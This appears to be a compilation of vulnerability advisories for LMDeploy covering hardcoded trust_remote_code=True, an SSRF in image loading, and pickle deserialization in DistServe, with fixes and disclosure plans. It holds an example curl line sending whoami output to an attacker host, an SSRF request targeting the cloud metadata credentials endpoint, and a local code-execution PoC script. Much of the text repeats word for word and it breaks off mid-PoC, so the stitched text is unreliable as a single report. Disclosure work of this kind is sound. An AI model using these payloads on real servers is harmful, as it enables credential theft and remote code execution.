LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
